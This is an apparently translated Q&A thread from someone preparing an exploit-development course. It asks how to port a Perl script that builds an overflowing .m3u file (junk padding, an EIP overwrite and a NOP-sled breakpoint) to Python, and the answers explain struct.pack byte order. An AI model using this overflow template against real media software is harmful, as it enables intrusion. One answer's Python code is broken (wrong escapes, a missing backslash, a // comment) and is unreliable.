Python中的Perl的Pack('V')函数?
最近我在准备一个培训课程,做一些漏洞开发的工作,但在跟着一个教程的时候遇到了问题。我一直在找各种教程,虽然它们用的是其他语言,但我更喜欢用Python。我想把所有的代码都转换过来,但我就是搞不懂Perl的Pack()函数该怎么用Python来实现。
简单来说: 我想把这个转换成Python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
我找到了Python的struct.pack()函数,但当我使用
Fuzzed.write(struct.pack('V', 0x773D10A4))
的时候,程序就停止了,根本不工作。我到底哪里出错了?
这是我所有的源代码
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
5 个回答
2
我已经把它翻译成了Python,并且我也尝试过做MP3转换器。这里是你的答案:
import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" "
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
8
Python中的struct.pack
函数用第一个字符来表示字节顺序和大小的变化,然后用一个或多个字符来表示数据类型。比如,Perl中的V
代表的是32位无符号整数,并且是小端字节序。
在Python中,类似的写法是struct.pack('<I', 0x773D10A4)
。
11
试着用 "L<"
这个打包模板,别用 "V"
。这样在 Perl 和 Python 中都能用。N
和 V
是 Perl 里比较老的方式来指定字节序,而 <
和 >
是更新的方式。看起来 Python 在借用 Perl 的 pack
功能时,只选择了更新、更灵活的接口。
补充:Python 要求 <
放在类型说明符前面,而 Perl 则要求放在后面。这就有点不兼容了 :(